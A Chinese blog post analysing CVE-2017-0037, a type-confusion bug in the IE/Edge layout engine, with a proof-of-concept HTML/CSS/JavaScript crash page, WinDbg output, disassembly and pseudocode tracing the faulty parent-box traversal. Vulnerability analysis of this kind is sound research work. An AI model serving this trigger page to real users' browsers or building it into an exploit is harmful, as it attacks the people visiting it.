美文网首页
CVE-2017-0037 漏洞分析

CVE-2017-0037 漏洞分析

作者: o_0xF2B8F2B8 | 来源:发表于2017-03-31 11:35 被阅读0次

    漏洞概述

    该漏洞是一个由于对传入参数限制不严格导致的类型混淆,错误的将TableGridBoxBuilder 当作 FlowBoxBuilder 对象来使用,导致程序可访问任意地址。该漏洞可以在 IE 和 EDGE 中触发,由于 IE DOM 树的结构并不直观,这里采用 EDGE 进行调试和分析

    漏洞样本

    漏洞样本如下,为了方便定位漏洞触发相关的 DOM 节点,我在其中加入了一些 text 作为标记

    <style>
    .class1 { float: left; column-count: 5; background-color:#FFFF00;}
    .class2 { column-span: all; columns: 1px; }
    </style>
    <script>
    function boom() {
      document.styleSheets[0].media.mediaText = "sss";
      th1.align = "right";
    }
    </script>
    <body onload="setTimeout(boom,100)">
    <table cellspacing="0" border=1>
        <tr class="class1">aaa
            <td id="th1" colspan="5" width=55>ssss</td>
            <th class="class2" width=0>bb
                <div class="class2">cc</div>
            </th>
        </tr>
    </table>
    

    漏洞分析

    首先查看页面代码,大体流程为, 浏览器首先根据 css 渲染页面, 待页面渲染完成之后使用 media.mediaText = "" 为css 设置媒体属性,使 css 变成非阻塞试的,即使得当前页面不用考虑 css 解析结果就可以进行渲染,(这里只要不是“all”或者“screen”都可以),再次设置 th1.align 使页面重新渲染,这时的渲染将不会考虑之前的css,从而会使得页面所有元素被重新布局,在这个阶段发生崩溃

    打开程序访问样本,漏洞触发点如下,可以看到,程序崩溃在访问 eax 寄存器所指向的地址时,eax 的值可以通过页面中数据进行控制

    0:008> g
    (d60.132c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000484 ebx=0dbbdd58 ecx=0dbc1fe8 edx=00000006 esi=00000064 edi=13f1ef88
    eip=60ef9feb esp=0861d2b0 ebp=0861d2d4 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
    edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x75:
    60ef9feb 833800          cmp     dword ptr [eax],0    ds:0023:00000484=????????
    

    下断点 bp EDGEHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x5d
    此处发生函数调用,返回值 eax 作为指针 ,这里总共会发生两次调用,函数参数保存在 ecx 中从 (poi(ebx+0x10)+0x88) 位置获得。

    60ef9fda 8b4310          mov     eax,dword ptr [ebx+10h]
    60ef9fdd 8b8888000000    mov     ecx,dword ptr [eax+88h]
    60ef9fe3 894dec          mov     dword ptr [ebp-14h],ecx
    60ef9fe6 e805226eff      call    edgehtml!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (605dc1f0)
    60ef9feb 833800          cmp     dword ptr [eax],0
    

    第一次 ebx 为 FlowBoxBuilder 对象;第二次 ebx 为 TableGridBoxBuilder 对象

    第一次调用栈为

    0:008> k
    ChildEBP RetAddr  
    0879c6cc 60aacd74 edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x70
    0879c6f8 6084431f edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x2b9f4
    0879c76c 60843afb edgehtml!Layout::FlowBoxBuilder::MoveToNextPosition+0x2ff
    0879c7cc 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x4fb
    0879c87c 60936a3a edgehtml!Layout::PageCollection::FormatPage+0x10b
    0879c980 6091bcfb edgehtml!Layout::PageCollection::LayoutPagesCore+0x25a
    0879c9b8 6091b5c6 edgehtml!Layout::PageCollection::LayoutPages+0xa0
    0879c9f4 6091b298 edgehtml!Layout::PageCollection::DoLayout+0x126
    0879ca44 6086d717 edgehtml!CView::ExecuteLayoutTasks+0x8d
    0879caac 6070bb5b edgehtml!CView::EnsureView+0x2c7
    0879cdbc 60708c22 edgehtml!CView::HitTestPoint<0>+0x377
    0879ce7c 607089c7 edgehtml!CView::HitTestForMessage<0>+0xb3
    0879ceac 606cddaa edgehtml!CDoc::HitTestPoint+0x50
    

    第二次调用栈为

    0:008> k
    ChildEBP RetAddr  
    0879c6cc 60aacd74 edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x70
    0879c6f8 6084431f edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x2b9f4
    0879c76c 60843afb edgehtml!Layout::FlowBoxBuilder::MoveToNextPosition+0x2ff
    0879c7cc 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x4fb
    0879c87c 60936a3a edgehtml!Layout::PageCollection::FormatPage+0x10b
    0879c980 6091bcfb edgehtml!Layout::PageCollection::LayoutPagesCore+0x25a
    0879c9b8 6091b5c6 edgehtml!Layout::PageCollection::LayoutPages+0xa0
    0879c9f4 6091b298 edgehtml!Layout::PageCollection::DoLayout+0x126
    0879ca44 6086d717 edgehtml!CView::ExecuteLayoutTasks+0x8d
    0879caac 6070bb5b edgehtml!CView::EnsureView+0x2c7
    0879cdbc 60708c22 edgehtml!CView::HitTestPoint<0>+0x377
    0879ce7c 607089c7 edgehtml!CView::HitTestForMessage<0>+0xb3
    0879ceac 606cddaa edgehtml!CDoc::HitTestPoint+0x50
    

    我们发现,两次调用栈一样,跟踪程序流程可知,第二次函数调用与第一次在同一函数内部,使用ida查看该上层函数,可以发现,此处是一个循环导致,循环每次取当前 FlowBox 的 ParentBoxBuilder,直到无对象为止,伪代码如下所示,其中取出了一些与漏洞无关的代码,可以看出这里在取出 parentBoxBuilder 之后并没有进行合法性校验就直接使用,从而导致了崩溃。

     while ( 1 )
      {
        if ( !cBoxBuilder )
          return 0;
        if ( Layout::LayoutBoxBuilder::IsMultiColumnBoxBuilder(cBoxBuilder) )
          break;
        if ( Layout::LayoutBoxBuilder::IsFlowBoxBuilder(cBoxBuilder_1) )
          v3 += *((_DWORD *)cBoxBuilder + 171);
     
          /****************
          ****************/
          
          v10 = ((int (*)(void))Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable)();
          
          /****************
          ****************/
     
        v26 = *(_DWORD *)(*((_DWORD *)cBoxBuilder + 4) + 12);
        cBoxBuilder = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(cBoxBuilder);
      }
    

    HandleColumnBreakOnColumnSpanningElement 函数上下断点,顾名思义,函数是在一个 colume span 属性的对象发生修改时被调用的。 该函数在样本中一共会被调用 32 次, ,通过 BoxBuilder 可以索引到相应的对象,这里崩溃时调用对应的DOM对象为一个 CTableCell ,在页面中对应的为第二个 <th> 标签内部对象。

    此次传入函数的参数为 FlowBoxBuilder ,其对应的 DOM 节点对象为 "bb" 文本对象的父 generate 对象, 根据当前节点对应的 FlowBox+0x88 位置设置一个标记位,若该标记位被设置,则依次向上遍历其 parentBoxBuilder

    根据单步调试过程可以看出,第一次调用的DOM 对象和崩溃时调用的是同一个,只是其 FlowBox 发生了改变,应该是解析 css 过程中对 box 内容进行了更改。 于是在这里下断点观察。可以看出这里每次发生页面渲染操作时(页面内容发生变化)都会改变,而其偏移 0x88 位置的值则是在如下的调用流程中被修改的,若此处没有被修改,则会诱发崩溃。

    088cca84 6060721a edgehtml!Layout::FlowBoxBuilder::AddFlowItem+0x9f
    088ccd28 6084529f edgehtml!Layout::FlowBoxBuilder::BuildLine+0x43a
    088cce78 6084384f edgehtml!Layout::FlowBoxBuilder::BuildBoxItem+0x11f
    088cced4 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x24f
    

    通过调用栈可以看到,这里是发生在构建页面 line 时。

    第一次处理 '第二个 <th> 标签' 时,对应的Container 对象为为 FlowBox,正常处理,取 parentBoxBuilder 便会取到 <tr> 对象对应的 ContainerBox,其为 GridBox,与 FlowBox结构不同,从而造成了类型混淆。

    后续工作

    因为分析的时候遇到了很多困难,所以到网上搜索了一些文档~看到了 0patch ~看到了 0patch 的补丁~ 为什么感觉这个补丁完全没有在修补漏洞呢~

    这个漏洞涉及到了css 等一些东西,知识点比较杂乱所以分析的也是乱七八糟,这里先记下来作为调试笔记~~和渲染相关的东西有点多~

    相关文章

      网友评论

          本文标题:CVE-2017-0037 漏洞分析

          本文链接:https://www.haomeiwen.com/subject/egbpottx.html